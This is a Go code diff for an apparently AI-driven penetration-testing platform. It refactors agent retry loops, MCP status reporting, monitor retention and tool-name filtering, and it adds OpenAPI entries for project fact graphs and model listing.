-// handleEinoTransientRetryContinue 在 SSE 任务循环内处理临时错误重试；返回 true 表示外层 for 应 continue。
-func (h *AgentHandler) handleEinoTransientRetryContinue(
-	baseCtx context.Context,
-	conversationID string,
-	result *multiagent.RunResult,
-	runErr error,
-	transientAttempts *int,
-	curHistory *[]agent.ChatMessage,
-	curFinalMessage *string,
-	segmentUserMessage string,
-	progressCallback func(eventType, message string, data interface{}),
-	sendProgress func(msg string, extra map[string]interface{}),
-) (handled bool, fatal error) {
-	if !errors.Is(runErr, multiagent.ErrTransientRetryContinue) {
-		return false, nil
-	}
-	maxAttempts := h.einoRunRetryMaxAttempts()
-	*transientAttempts++
-	if *transientAttempts > maxAttempts {
-		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
-			h.persistEinoAgentTraceForResume(conversationID, result)
-		}
-		return false, errors.New("transient retry exhausted: " + runErr.Error())
-	}
-	attemptNo := *transientAttempts
-	backoff := multiagent.TransientRetryBackoff(attemptNo-1, h.einoRunRetryMaxBackoffSec())
-	if progressCallback != nil {
-		progressCallback("eino_run_retry", fmt.Sprintf("遇到临时错误，%d 秒后第 %d/%d 次重试…", int(backoff.Seconds()), attemptNo, maxAttempts), map[string]interface{}{
-			"conversationId": conversationID,
-			"source":         "eino",
-			"attempt":        attemptNo,
-			"maxAttempts":    maxAttempts,
-			"backoffSec":     int(backoff.Seconds()),
-		})
-	}
-	select {
-	case <-baseCtx.Done():
-		return false, context.Cause(baseCtx)
-	case <-time.After(backoff):
-	}
-	h.applyEinoTransientRetrySegment(conversationID, result, curHistory, curFinalMessage, segmentUserMessage)
-	if progressCallback != nil {
-		progressCallback("eino_run_retry", "已恢复上下文，正在重试…", map[string]interface{}{
-			"conversationId": conversationID,
-			"source":         "eino",
-			"attempt":        attemptNo,
-		})
-	}
-	if sendProgress != nil {
-		sendProgress("正在重试…", map[string]interface{}{
-			"conversationId": conversationID,
-			"source":         "transient_retry",
-		})
-	}
-	return true, nil
-}

internal/handler/eino_single_agent.go

@@ -119,7 +119,6 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 
 	var cancelWithCause context.CancelCauseFunc
 	curFinalMessage := prep.FinalMessage
-	segmentUserMessage := prep.FinalMessage // 本请求原始用户句，临时重试时不得丢失
 	curHistory := prep.History
 	roleTools := prep.RoleTools
 
@@ -177,7 +176,6 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 	taskOwned = true
 
 	var cumulativeMCPExecutionIDs []string
-	var transientRunAttempts int
 	// 同一请求内分段续跑时，主代理 iteration 事件按偏移累计，避免 UI 出现「第3轮 → 第1轮」回跳。
 	var mainIterationOffset int
 
@@ -214,6 +212,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 		}
 		taskCtxLoop := mcp.WithMCPConversationID(taskCtx, conversationID)
 		taskCtxLoop = mcp.WithToolRunRegistry(taskCtxLoop, h.tasks)
+		taskCtxLoop = mcp.WithEinoExecuteRunRegistry(taskCtxLoop, h.tasks)
 		taskCtxLoop = multiagent.WithHITLToolInterceptor(taskCtxLoop, func(ctx context.Context, toolName, arguments string) (string, error) {
 			return h.interceptHITLForEinoTool(ctx, cancelWithCause, conversationID, assistantMessageID, sendEvent, toolName, arguments)
 		})
@@ -223,8 +222,10 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 			h.config,
 			&h.config.MultiAgent,
 			h.agent,
+			h.db,
 			h.logger,
 			conversationID,
+			h.conversationProjectID(conversationID),
 			curFinalMessage,
 			curHistory,
 			roleTools,
@@ -238,30 +239,10 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 		}
 
 		if runErr == nil {
-			// 任一段成功完成后，重置临时错误重试窗口（次数/退避从头开始）。
-			transientRunAttempts = 0
 			timeoutCancel()
 			break
 		}
 
-		handled, fatalErr := h.handleEinoTransientRetryContinue(
-			baseCtx, conversationID, result, runErr, &transientRunAttempts,
-			&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
-			func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
-		)
-		if handled {
-			mainIterationOffset += segmentMainIterationMax
-			timeoutCancel()
-			baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
-			h.tasks.BindTaskCancel(conversationID, cancelWithCause)
-			taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
-			h.tasks.UpdateTaskStatus(conversationID, "running")
-			continue
-		}
-		if fatalErr != nil {
-			runErr = fatalErr
-		}
-
 		cause := context.Cause(baseCtx)
 		if errors.Is(cause, multiagent.ErrInterruptContinue) {
 			if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
@@ -286,8 +267,6 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 				"source":         "interrupt_continue",
 			})
 			mainIterationOffset += segmentMainIterationMax
-			// 非临时错误分段续跑（用户中断并继续）时，清空 transient 计数，避免跨分段累加。
-			transientRunAttempts = 0
 			timeoutCancel()
 			baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
 			h.tasks.BindTaskCancel(conversationID, cancelWithCause)
@@ -418,21 +397,30 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
 		return
 	}
 
-	result, runErr := multiagent.RunEinoSingleChatModelAgent(
+	curHist := prep.History
-		taskCtx,
+	curMsg := prep.FinalMessage
-		h.config,
+	var result *multiagent.RunResult
-		&h.config.MultiAgent,
+	var runErr error
-		h.agent,
+	for {
-		h.logger,
+		result, runErr = multiagent.RunEinoSingleChatModelAgent(
-		prep.ConversationID,
+			taskCtx,
-		prep.FinalMessage,
+			h.config,
-		prep.History,
+			&h.config.MultiAgent,
-		prep.RoleTools,
+			h.agent,
-		progressCallback,
+			h.db,
-		chatReasoningToClientIntent(req.Reasoning),
+			h.logger,
-		h.projectBlackboardBlock(prep.ConversationID),
+			prep.ConversationID,
-	)
+			h.conversationProjectID(prep.ConversationID),
-	if runErr != nil {
+			curMsg,
+			curHist,
+			prep.RoleTools,
+			progressCallback,
+			chatReasoningToClientIntent(req.Reasoning),
+			h.projectBlackboardBlock(prep.ConversationID),
+		)
+		if runErr == nil {
+			break
+		}
 		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
 			h.persistEinoAgentTraceForResume(prep.ConversationID, result)
 		}

internal/handler/external_mcp.go

@@ -64,10 +64,7 @@ func (h *ExternalMCPHandler) GetExternalMCPs(c *gin.Context) {
 		}
 
 		toolCount := toolCounts[name]
-		errorMsg := ""
+		errorMsg := externalMCPStatusError(h.manager, name, status)
-		if status == "error" {
-			errorMsg = h.manager.GetError(name)
-		}
 
 		result[name] = ExternalMCPResponse{
 			Config:    cfg,
@@ -115,20 +112,22 @@ func (h *ExternalMCPHandler) GetExternalMCP(c *gin.Context) {
 		}
 	}
 
-	// 获取错误信息
-	errorMsg := ""
-	if status == "error" {
-		errorMsg = h.manager.GetError(name)
-	}
-
 	c.JSON(http.StatusOK, ExternalMCPResponse{
 		Config:    cfg,
 		Status:    status,
 		ToolCount: toolCount,
-		Error:     errorMsg,
+		Error:     externalMCPStatusError(h.manager, name, status),
 	})
 }
 
+// externalMCPStatusError 在 error/disconnected 状态下返回最近错误（含断连原因）。
+func externalMCPStatusError(manager *mcp.ExternalMCPManager, name, status string) string {
+	if status != "error" && status != "disconnected" {
+		return ""
+	}
+	return manager.GetError(name)
+}
+
 // AddOrUpdateExternalMCP 添加或更新外部MCP配置
 func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
 	var req AddOrUpdateExternalMCPRequest

internal/handler/external_mcp_test.go

@@ -271,6 +271,16 @@ func TestExternalMCPHandler_DeleteExternalMCP(t *testing.T) {
 	}
 }
 
+func TestExternalMCPStatusError(t *testing.T) {
+	manager := mcp.NewExternalMCPManager(zap.NewNop())
+	if got := externalMCPStatusError(manager, "x", "connected"); got != "" {
+		t.Fatalf("connected status should not return error, got %q", got)
+	}
+	if got := externalMCPStatusError(manager, "x", "connecting"); got != "" {
+		t.Fatalf("connecting status should not return error, got %q", got)
+	}
+}
+
 func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
 	router, handler, _ := setupTestRouter()
 

internal/handler/monitor.go

@@ -10,8 +10,10 @@ import (
 	"time"
 
 	"cyberstrike-ai/internal/audit"
+	"cyberstrike-ai/internal/config"
 	"cyberstrike-ai/internal/database"
 	"cyberstrike-ai/internal/mcp"
+	"cyberstrike-ai/internal/monitor"
 	"cyberstrike-ai/internal/security"
 	"github.com/gin-gonic/gin"
 	"go.uber.org/zap"
@@ -19,12 +21,18 @@ import (
 
 // MonitorHandler 监控处理器
 type MonitorHandler struct {
-	mcpServer      *mcp.Server
+	mcpServer        *mcp.Server
-	externalMCPMgr *mcp.ExternalMCPManager
+	externalMCPMgr   *mcp.ExternalMCPManager
-	executor       *security.Executor
+	executor         *security.Executor
-	db             *database.DB
+	db               *database.DB
-	logger         *zap.Logger
+	logger           *zap.Logger
-	audit          *audit.Service
+	audit            *audit.Service
+	monitorRetention *monitor.Service
+}
+
+// SetMonitorRetention wires MCP execution retention settings.
+func (h *MonitorHandler) SetMonitorRetention(s *monitor.Service) {
+	h.monitorRetention = s
 }
 
 // SetAudit wires platform audit logging.
@@ -50,13 +58,14 @@ func (h *MonitorHandler) SetExternalMCPManager(mgr *mcp.ExternalMCPManager) {
 
 // MonitorResponse 监控响应
 type MonitorResponse struct {
-	Executions []*mcp.ToolExecution      `json:"executions"`
+	Executions    []*mcp.ToolExecution      `json:"executions"`
-	Stats      map[string]*mcp.ToolStats `json:"stats"`
+	Stats         map[string]*mcp.ToolStats `json:"stats"`
-	Timestamp  time.Time                 `json:"timestamp"`
+	Timestamp     time.Time                 `json:"timestamp"`
-	Total      int                       `json:"total,omitempty"`
+	Total         int                       `json:"total,omitempty"`
-	Page       int                       `json:"page,omitempty"`
+	Page          int                       `json:"page,omitempty"`
-	PageSize   int                       `json:"page_size,omitempty"`
+	PageSize      int                       `json:"page_size,omitempty"`
-	TotalPages int                       `json:"total_pages,omitempty"`
+	TotalPages    int                       `json:"total_pages,omitempty"`
+	RetentionDays int                       `json:"retention_days,omitempty"`
 }
 
 // Monitor 获取监控信息
@@ -77,8 +86,8 @@ func (h *MonitorHandler) Monitor(c *gin.Context) {
 
 	// 解析状态筛选参数
 	status := c.Query("status")
-	// 解析工具筛选参数
+	// 解析工具筛选参数（兼容 mcp__tool 与内部 mcp::tool）
-	toolName := c.Query("tool")
+	toolName := normalizeToolNameFilter(c.Query("tool"))
 
 	executions, total := h.loadExecutionsWithPagination(page, pageSize, status, toolName)
 	stats := h.loadStats()
@@ -89,16 +98,24 @@ func (h *MonitorHandler) Monitor(c *gin.Context) {
 	}
 
 	c.JSON(http.StatusOK, MonitorResponse{
-		Executions: executions,
+		Executions:    executions,
-		Stats:      stats,
+		Stats:         stats,
-		Timestamp:  time.Now(),
+		Timestamp:     time.Now(),
-		Total:      total,
+		Total:         total,
-		Page:       page,
+		Page:          page,
-		PageSize:   pageSize,
+		PageSize:      pageSize,
-		TotalPages: totalPages,
+		TotalPages:    totalPages,
+		RetentionDays: h.monitorRetentionDays(),
 	})
 }
 
+func (h *MonitorHandler) monitorRetentionDays() int {
+	if h.monitorRetention != nil {
+		return h.monitorRetention.RetentionDays()
+	}
+	return config.MonitorConfig{}.RetentionDaysEffective()
+}
+
 func (h *MonitorHandler) loadExecutions() []*mcp.ToolExecution {
 	executions, _ := h.loadExecutionsWithPagination(1, 1000, "", "")
 	return executions
@@ -113,7 +130,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
 			for _, exec := range allExecutions {
 				matchStatus := status == "" || exec.Status == status
 				// 支持部分匹配（模糊搜索）
-				matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
+				matchTool := toolNameFilterMatches(exec.ToolName, toolName)
 				if matchStatus && matchTool {
 					filtered = append(filtered, exec)
 				}
@@ -143,7 +160,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
 			for _, exec := range allExecutions {
 				matchStatus := status == "" || exec.Status == status
 				// 支持部分匹配（模糊搜索）
-				matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
+				matchTool := toolNameFilterMatches(exec.ToolName, toolName)
 				if matchStatus && matchTool {
 					filtered = append(filtered, exec)
 				}
@@ -584,3 +601,35 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
 	h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs)))
 	c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除（如果存在）"})
 }
+
+// normalizeToolNameFilter 将模型侧 mcp__tool 转为内部存储用的 mcp::tool。
+func normalizeToolNameFilter(name string) string {
+	name = strings.TrimSpace(name)
+	if name == "" {
+		return name
+	}
+	if strings.Contains(name, "::") {
+		return name
+	}
+	if idx := strings.Index(name, "__"); idx > 0 {
+		return name[:idx] + "::" + name[idx+2:]
+	}
+	return name
+}
+
+func toolNameFilterMatches(storedName, filter string) bool {
+	filter = strings.TrimSpace(filter)
+	if filter == "" {
+		return true
+	}
+	storedLower := strings.ToLower(storedName)
+	filterLower := strings.ToLower(filter)
+	if strings.Contains(storedLower, filterLower) {
+		return true
+	}
+	normFilter := strings.ToLower(normalizeToolNameFilter(filter))
+	if normFilter != filterLower && strings.Contains(storedLower, normFilter) {
+		return true
+	}
+	return strings.Contains(strings.ReplaceAll(storedLower, "::", "__"), filterLower)
+}

internal/handler/multi_agent.go

@@ -136,7 +136,6 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 
 	var cancelWithCause context.CancelCauseFunc
 	curFinalMessage := prep.FinalMessage
-	segmentUserMessage := prep.FinalMessage // 本请求原始用户句，临时重试时不得丢失
 	curHistory := prep.History
 	roleTools := prep.RoleTools
 	orch := strings.TrimSpace(req.Orchestration)
@@ -187,7 +186,6 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 
 	// 同一 HTTP 流内多段 Run（如中断并继续）合并 MCP execution id，供最终 response / 库表与工具芯片展示完整列表
 	var cumulativeMCPExecutionIDs []string
-	var transientRunAttempts int
 	// 同一请求内分段续跑时，主代理 iteration 事件按偏移累计，避免 UI 出现「第3轮 → 第1轮」回跳。
 	var mainIterationOffset int
 
@@ -224,6 +222,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 		}
 		taskCtxLoop := mcp.WithMCPConversationID(taskCtx, conversationID)
 		taskCtxLoop = mcp.WithToolRunRegistry(taskCtxLoop, h.tasks)
+		taskCtxLoop = mcp.WithEinoExecuteRunRegistry(taskCtxLoop, h.tasks)
 		taskCtxLoop = multiagent.WithHITLToolInterceptor(taskCtxLoop, func(ctx context.Context, toolName, arguments string) (string, error) {
 			return h.interceptHITLForEinoTool(ctx, cancelWithCause, conversationID, assistantMessageID, sendEvent, toolName, arguments)
 		})
@@ -233,8 +232,10 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 			h.config,
 			&h.config.MultiAgent,
 			h.agent,
+			h.db,
 			h.logger,
 			conversationID,
+			h.conversationProjectID(conversationID),
 			curFinalMessage,
 			curHistory,
 			roleTools,
@@ -250,30 +251,10 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 		}
 
 		if runErr == nil {
-			// 任一段成功完成后，重置临时错误重试窗口（次数/退避从头开始）。
-			transientRunAttempts = 0
 			timeoutCancel()
 			break
 		}
 
-		handled, fatalErr := h.handleEinoTransientRetryContinue(
-			baseCtx, conversationID, result, runErr, &transientRunAttempts,
-			&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
-			func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
-		)
-		if handled {
-			mainIterationOffset += segmentMainIterationMax
-			timeoutCancel()
-			baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
-			h.tasks.BindTaskCancel(conversationID, cancelWithCause)
-			taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
-			h.tasks.UpdateTaskStatus(conversationID, "running")
-			continue
-		}
-		if fatalErr != nil {
-			runErr = fatalErr
-		}
-
 		cause := context.Cause(baseCtx)
 		if errors.Is(cause, multiagent.ErrInterruptContinue) {
 			if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
@@ -298,8 +279,6 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 				"source":         "interrupt_continue",
 			})
 			mainIterationOffset += segmentMainIterationMax
-			// 非临时错误分段续跑（用户中断并继续）时，清空 transient 计数，避免跨分段累加。
-			transientRunAttempts = 0
 			timeoutCancel()
 			baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
 			h.tasks.BindTaskCancel(conversationID, cancelWithCause)
@@ -430,23 +409,32 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
 		return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
 	})
 
-	result, runErr := multiagent.RunDeepAgent(
+	curHist := prep.History
-		taskCtx,
+	curMsg := prep.FinalMessage
-		h.config,
+	var result *multiagent.RunResult
-		&h.config.MultiAgent,
+	var runErr error
-		h.agent,
+	for {
-		h.logger,
+		result, runErr = multiagent.RunDeepAgent(
-		prep.ConversationID,
+			taskCtx,
-		prep.FinalMessage,
+			h.config,
-		prep.History,
+			&h.config.MultiAgent,
-		prep.RoleTools,
+			h.agent,
-		progressCallback,
+			h.db,
-		h.agentsMarkdownDir,
+			h.logger,
-		strings.TrimSpace(req.Orchestration),
+			prep.ConversationID,
-		chatReasoningToClientIntent(req.Reasoning),
+			h.conversationProjectID(prep.ConversationID),
-		h.projectBlackboardBlock(prep.ConversationID),
+			curMsg,
-	)
+			curHist,
-	if runErr != nil {
+			prep.RoleTools,
+			progressCallback,
+			h.agentsMarkdownDir,
+			strings.TrimSpace(req.Orchestration),
+			chatReasoningToClientIntent(req.Reasoning),
+			h.projectBlackboardBlock(prep.ConversationID),
+		)
+		if runErr == nil {
+			break
+		}
 		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
 			h.persistEinoAgentTraceForResume(prep.ConversationID, result)
 		}

internal/handler/openapi.go

@@ -2,10 +2,8 @@ package handler
 
 import (
 	"net/http"
-	"time"
 
 	"cyberstrike-ai/internal/database"
-	"cyberstrike-ai/internal/storage"
 
 	"github.com/gin-gonic/gin"
 	"go.uber.org/zap"
@@ -15,17 +13,15 @@ import (
 type OpenAPIHandler struct {
 	db               *database.DB
 	logger           *zap.Logger
-	resultStorage    storage.ResultStorage
 	conversationHdlr *ConversationHandler
 	agentHdlr        *AgentHandler
 }
 
 // NewOpenAPIHandler 创建新的OpenAPI处理器
-func NewOpenAPIHandler(db *database.DB, logger *zap.Logger, resultStorage storage.ResultStorage, conversationHdlr *ConversationHandler, agentHdlr *AgentHandler) *OpenAPIHandler {
+func NewOpenAPIHandler(db *database.DB, logger *zap.Logger, conversationHdlr *ConversationHandler, agentHdlr *AgentHandler) *OpenAPIHandler {
 	return &OpenAPIHandler{
 		db:               db,
 		logger:           logger,
-		resultStorage:    resultStorage,
 		conversationHdlr: conversationHdlr,
 		agentHdlr:        agentHdlr,
 	}
@@ -237,7 +233,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 						"status": map[string]interface{}{
 							"type":        "string",
 							"description": "状态",
-							"enum":        []string{"open", "closed", "fixed"},
+							"enum":        []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
 						},
 						"target": map[string]interface{}{
 							"type":        "string",
@@ -575,7 +571,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 						"status": map[string]interface{}{
 							"type":        "string",
 							"description": "状态",
-							"enum":        []string{"open", "closed", "fixed"},
+							"enum":        []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
 						},
 						"type": map[string]interface{}{
 							"type":        "string",
@@ -1344,7 +1340,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 				"delete": map[string]interface{}{
 					"tags":        []string{"对话管理"},
 					"summary":     "删除对话",
-					"description": "删除指定的对话及其所有相关数据（消息、漏洞等）。**此操作不可恢复**。",
+					"description": "删除指定的对话及其会话数据（消息、攻击链等）。**漏洞记录会保留**，仅解除与会话的关联。**此操作不可恢复**。",
 					"operationId": "deleteConversation",
 					"parameters": []map[string]interface{}{
 						{
@@ -2468,17 +2464,108 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 					"parameters": []map[string]interface{}{
 						{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
 						{"name": "fact_key", "in": "query", "schema": map[string]interface{}{"type": "string"}},
+						{"name": "include_links", "in": "query", "schema": map[string]interface{}{"type": "boolean"}},
+						{"name": "include_link_counts", "in": "query", "schema": map[string]interface{}{"type": "boolean"}},
 					},
-					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "事实列表或单条"}},
+					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "事实列表或单条（可含 link_counts / outgoing_links）"}},
 				},
 				"post": map[string]interface{}{
 					"tags": []string{"项目管理"}, "summary": "创建/更新事实", "operationId": "upsertProjectFactREST",
 					"parameters": []map[string]interface{}{
 						{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
 					},
+					"requestBody": map[string]interface{}{
+						"required": true,
+						"content": map[string]interface{}{
+							"application/json": map[string]interface{}{
+								"schema": map[string]interface{}{
+									"type": "object",
+									"properties": map[string]interface{}{
+										"fact_key": map[string]interface{}{"type": "string"},
+										"summary":  map[string]interface{}{"type": "string"},
+										"links": map[string]interface{}{
+											"type": "array",
+											"items": map[string]interface{}{
+												"type": "object",
+												"properties": map[string]interface{}{
+													"to":   map[string]interface{}{"type": "string"},
+													"type": map[string]interface{}{"type": "string"},
+												},
+											},
+										},
+										"links_text": map[string]interface{}{"type": "string", "description": "type: fact_key 每行一条"},
+									},
+								},
+							},
+						},
+					},
 					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "成功"}},
 				},
 			},
+			"/api/projects/{id}/fact-graph": map[string]interface{}{
+				"get": map[string]interface{}{
+					"tags": []string{"项目管理"}, "summary": "获取项目事实攻击路径图", "operationId": "getProjectFactGraph",
+					"parameters": []map[string]interface{}{
+						{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
+						{"name": "view", "in": "query", "schema": map[string]interface{}{"type": "string", "enum": []string{"path", "full"}, "default": "path"}},
+						{"name": "exclude_deprecated", "in": "query", "schema": map[string]interface{}{"type": "boolean", "default": true}},
+					},
+					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "nodes + edges"}},
+				},
+			},
+			"/api/projects/{id}/fact-edges": map[string]interface{}{
+				"get": map[string]interface{}{
+					"tags": []string{"项目管理"}, "summary": "列出项目全部事实边", "operationId": "listProjectFactEdges",
+					"parameters": []map[string]interface{}{
+						{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
+					},
+					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "边列表"}},
+				},
+				"post": map[string]interface{}{
+					"tags": []string{"项目管理"}, "summary": "添加事实边", "operationId": "createProjectFactEdge",
+					"parameters": []map[string]interface{}{
+						{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
+					},
+					"requestBody": map[string]interface{}{
+						"required": true,
+						"content": map[string]interface{}{
+							"application/json": map[string]interface{}{
+								"schema": map[string]interface{}{
+									"type": "object",
+									"required": []string{"source_fact_key", "target_fact_key", "edge_type"},
+									"properties": map[string]interface{}{
+										"source_fact_key": map[string]interface{}{"type": "string"},
+										"target_fact_key": map[string]interface{}{"type": "string"},
+										"edge_type":       map[string]interface{}{"type": "string"},
+										"confidence":      map[string]interface{}{"type": "string"},
+									},
+								},
+							},
+						},
+					},
+					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "边已创建"}},
+				},
+			},
+			"/api/projects/{id}/fact-edges/{edgeId}": map[string]interface{}{
+				"delete": map[string]interface{}{
+					"tags": []string{"项目管理"}, "summary": "删除事实边", "operationId": "deleteProjectFactEdge",
+					"parameters": []map[string]interface{}{
+						{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
+						{"name": "edgeId", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
+					},
+					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "删除成功"}},
+				},
+			},
+			"/api/projects/{id}/promote-attack-chain/{conversationId}": map[string]interface{}{
+				"post": map[string]interface{}{
+					"tags": []string{"项目管理"}, "summary": "将对话攻击链沉淀到项目事实图", "operationId": "promoteAttackChainToProject",
+					"parameters": []map[string]interface{}{
+						{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
+						{"name": "conversationId", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
+					},
+					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "沉淀结果（facts/edges/graph）"}},
+				},
+			},
 			"/api/vulnerabilities": map[string]interface{}{
 				"get": map[string]interface{}{
 					"tags":        []string{"漏洞管理"},
@@ -5034,6 +5121,51 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 					},
 				},
 			},
+			"/api/config/list-models": map[string]interface{}{
+				"post": map[string]interface{}{
+					"tags":        []string{"配置管理"},
+					"summary":     "获取模型列表",
+					"description": "代理调用 OpenAI 兼容 GET /models，返回可用模型 id 列表。Claude 不支持。",
+					"operationId": "listModels",
+					"requestBody": map[string]interface{}{
+						"required": true,
+						"content": map[string]interface{}{
+							"application/json": map[string]interface{}{
+								"schema": map[string]interface{}{
+									"type":     "object",
+									"required": []string{"api_key"},
+									"properties": map[string]interface{}{
+										"provider": map[string]interface{}{"type": "string", "description": "LLM提供商（openai/claude）", "example": "openai"},
+										"base_url": map[string]interface{}{"type": "string", "description": "API基地址（可选）"},
+										"api_key":  map[string]interface{}{"type": "string", "description": "API密钥"},
+									},
+								},
+							},
+						},
+					},
+					"responses": map[string]interface{}{
+						"200": map[string]interface{}{
+							"description": "获取结果",
+							"content": map[string]interface{}{
+								"application/json": map[string]interface{}{
+									"schema": map[string]interface{}{
+										"type": "object",
+										"properties": map[string]interface{}{
+											"success":   map[string]interface{}{"type": "boolean"},
+											"supported": map[string]interface{}{"type": "boolean"},
+											"error":     map[string]interface{}{"type": "string"},
+											"models":    map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}},
+											"count":     map[string]interface{}{"type": "integer"},
+										},
+									},
+								},
+							},
+						},
+						"400": map[string]interface{}{"description": "参数错误"},
+						"401": map[string]interface{}{"description": "未授权"},
+					},
+				},
+			},
 
 			// ==================== 终端 ====================
 			"/api/terminal/run": map[string]interface{}{
@@ -6354,35 +6486,8 @@ func (h *OpenAPIHandler) GetConversationResults(c *gin.Context) {
 		vulnerabilities[i] = *v
 	}
 
-	// 获取执行结果（从MCP执行记录中获取）
+	// 获取执行结果（历史大结果由 Eino reduction 落盘，此处不再聚合文件存储）
 	executionResults := []map[string]interface{}{}
-	for _, msg := range messages {
-		if len(msg.MCPExecutionIDs) > 0 {
-			for _, execID := range msg.MCPExecutionIDs {
-				// 尝试从结果存储中获取执行结果
-				if h.resultStorage != nil {
-					result, err := h.resultStorage.GetResult(execID)
-					if err == nil && result != "" {
-						// 获取元数据以获取工具名称和创建时间
-						metadata, err := h.resultStorage.GetResultMetadata(execID)
-						toolName := "unknown"
-						createdAt := time.Now()
-						if err == nil && metadata != nil {
-							toolName = metadata.ToolName
-							createdAt = metadata.CreatedAt
-						}
-						executionResults = append(executionResults, map[string]interface{}{
-							"id":        execID,
-							"toolName":  toolName,
-							"status":    "success",
-							"result":    result,
-							"createdAt": createdAt.Format(time.RFC3339),
-						})
-					}
-				}
-			}
-		}
-	}
 
 	response := map[string]interface{}{
 		"conversationId":   conv.ID,

internal/handler/project.go

@@ -1,10 +1,12 @@
 package handler
 
 import (
+	"fmt"
 	"net/http"
 	"strconv"
 	"strings"
 
+	"cyberstrike-ai/internal/attackchain"
 	"cyberstrike-ai/internal/database"
 	"cyberstrike-ai/internal/project"
 
@@ -12,6 +14,16 @@ import (
 	"go.uber.org/zap"
 )
 
+const maxProjectDescriptionRunes = 4000
+
+func clampProjectDescription(s string) string {
+	r := []rune(s)
+	if len(r) <= maxProjectDescriptionRunes {
+		return s
+	}
+	return string(r[:maxProjectDescriptionRunes])
+}
+
 // ProjectHandler 项目管理处理器。
 type ProjectHandler struct {
 	db     *database.DB
@@ -48,7 +60,7 @@ func (h *ProjectHandler) CreateProject(c *gin.Context) {
 	}
 	p := &database.Project{
 		Name:        strings.TrimSpace(req.Name),
-		Description: req.Description,
+		Description: clampProjectDescription(req.Description),
 		ScopeJSON:   req.ScopeJSON,
 		Status:      strings.TrimSpace(req.Status),
 	}
@@ -184,7 +196,7 @@ func (h *ProjectHandler) UpdateProject(c *gin.Context) {
 		}
 	}
 	if req.Description != nil {
-		p.Description = *req.Description
+		p.Description = clampProjectDescription(*req.Description)
 	}
 	if req.ScopeJSON != nil {
 		p.ScopeJSON = *req.ScopeJSON
@@ -213,26 +225,102 @@ func (h *ProjectHandler) DeleteProject(c *gin.Context) {
 	c.JSON(http.StatusOK, gin.H{"success": true})
 }
 
+type factLinkRequest struct {
+	From       string `json:"from"`
+	Type       string `json:"type"`
+	Confidence string `json:"confidence,omitempty"`
+}
+
 type upsertFactRequest struct {
-	FactKey                string `json:"fact_key" binding:"required"`
+	FactKey                string            `json:"fact_key" binding:"required"`
-	Category               string `json:"category"`
+	Category               string            `json:"category"`
